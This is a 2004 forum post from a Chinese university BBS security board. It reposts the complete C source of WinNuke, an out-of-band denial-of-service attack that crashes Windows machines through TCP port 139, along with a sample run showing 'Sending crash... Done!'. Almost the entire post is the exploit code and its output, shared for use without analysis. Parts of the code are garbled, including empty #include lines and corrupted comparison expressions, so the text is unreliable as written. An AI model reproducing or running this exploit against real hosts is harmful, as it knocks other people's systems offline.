荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: yyjoy (yy), 信区: Security
标  题: Re: winNuke源代码
发信站: 荔园晨风BBS站 (Tue Jan  6 16:54:26 2004), 站内信件

用法:

% ./winnuke 127.0.0.1
Connected to [127.0.0.0:139].
Sending crash... Done!
%

【 在 yyjoy (yy) 的大作中提到: 】
: winNuke
: 源码:
: ---Cut Here---
: /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
: #include
: #include
: #include
: #include
: #include
: #include
: #include
: #define dport 139 /* Attack port: 139 is what we want */
: int x, s;
: char *str = "Bye"; /* Makes no diff */
: struct sockaddr_in addr, spoofedaddr;
: struct hostent *host;
: int open_sock(int sock, char *server, int port) {
: struct sockaddr_in blah;
: struct hostent *he;
: bzero((char *)&blah,sizeof(blah));
: blah.sin_family=AF_INET;
: blah.sin_addr.s_addr=inet_addr(server);
: blah.sin_port=htons(port);
: if ((he = gethostbyname(server)) != NULL) {
: bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
: }
: else {
: if ((blah.sin_addr.s_addr = inet_addr(server)) <0) { perror("gethostbyname()")
;
:  return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)="=-1)" {
perror(
: "connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",
serve
: r,port); return;
: } void main(int argc, char *argv[]) { if (argc !="2)" { printf("Usage: %s \n",
a
: rgv[0]);
: exit(0);
: }
: if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
: perror("socket()");
: exit(-1);
: }
: open_sock(s,argv[1],dport);
: printf("Sending crash... ");
: send(s,str,strlen(str),MSG_OOB);
: usleep(500000);
: printf("Done!\n");
: close(s);
: }
:
--------------------------------------------------------------------------------



--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.79.90]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店